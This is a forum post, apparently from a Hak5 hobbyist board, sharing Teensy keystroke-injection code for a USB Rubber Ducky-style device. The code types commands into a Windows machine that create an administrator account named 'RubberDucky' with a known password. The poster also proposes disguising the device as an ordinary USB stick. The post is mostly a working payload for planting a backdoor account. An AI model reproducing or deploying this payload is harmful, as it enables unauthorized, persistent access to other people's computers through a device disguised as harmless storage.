Jump to content

[Version 1] My Ducky Codes And Idea's


saibot559
 Share

Recommended Posts

Hi everybody,

After hearing from the ducky i decided i had to learn how to write at least some simple codes. So i started playing with the teensy and understand the basic concepts of writing a code. After looking at all the codes found on the forum, the wiki and on irongeek i started building up my own code as you can see it contains a lot of the codes already made, and although i don't exactly know who's codes i used. Credits to all of you. I would greatly appriciate tips on how to improve the code and on how to keep it as short as possible. The code makes and saves an notepad file on the desktop. After that it build a new administrator account (worked for me on windows xp, but got denied on vista even when on a administrator account) and finaly starts this forum.

int ledPin = 11;

void setup()
{
  pinMode(ledPin, OUTPUT);
}

void loop()
{
  //Led on while executing payload
  delay(5000);
  digitalWrite(ledPin, HIGH);
  //Open notepad
  WindowsCommandRun("notepad.exe");
  delay(1000);
  Keyboard.print("Ducky was here");
  delay(1000);
  //Save file
  KeyCombo(MODIFIERKEY_CTRL,KEY_S);
  delay(1000);
  Keyboard.print("The Ducky file");
  delay(1000);
  KeyPress(KEY_ENTER);
  delay(1000);
  //Close notepad
  KeyCombo(MODIFIERKEY_ALT,KEY_F4);
  delay(1000);

  //Add an administrator account
  WindowsCommandRun("cmd");
  delay(1000);
  ExecuteCommand("net user RubberDucky RubberDucky /add");
  delay(200);
  ExecuteCommand("net localgroup Administrators RubberDucky /add");
  delay(200);
  ExecuteCommand("exit");
  delay(1000);

  //Open the forum
  WindowsCommandRun("http://www.hak5.org/forums/index.php?showforum=56");
  delay(1000);

  //Switch led off
  digitalWrite(ledPin, LOW);
  while(1) { }
}

void WindowsCommandRun(char *SomeCommand)
{
  KeyCombo(MODIFIERKEY_GUI,KEY_R);
  delay(1000);
  ExecuteCommand(SomeCommand);
}

void KeyPress(int SomeKey)
{
  Keyboard.set_key1(SomeKey);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

void KeyCombo(int ModKey,int SomeKey)
{
  Keyboard.set_modifier(ModKey);
  Keyboard.set_key1(SomeKey);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

void ExecuteCommand(char *SomeCommand)
{
  Keyboard.print(SomeCommand);
  delay(500);
  KeyPress(KEY_ENTER);
}

Next to the code i have been thinking about how the Ducky would best work. And i am convinced it would work best when disguised as an USB stick. therefor i think we schould really get the sd card to work so that when first plugged in it would look like an USB storage device. After this it could be activated with a button. As i said i am competely new to all of this but i will do my best to help in every way i can.

Hope this was oke for my first post and code.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...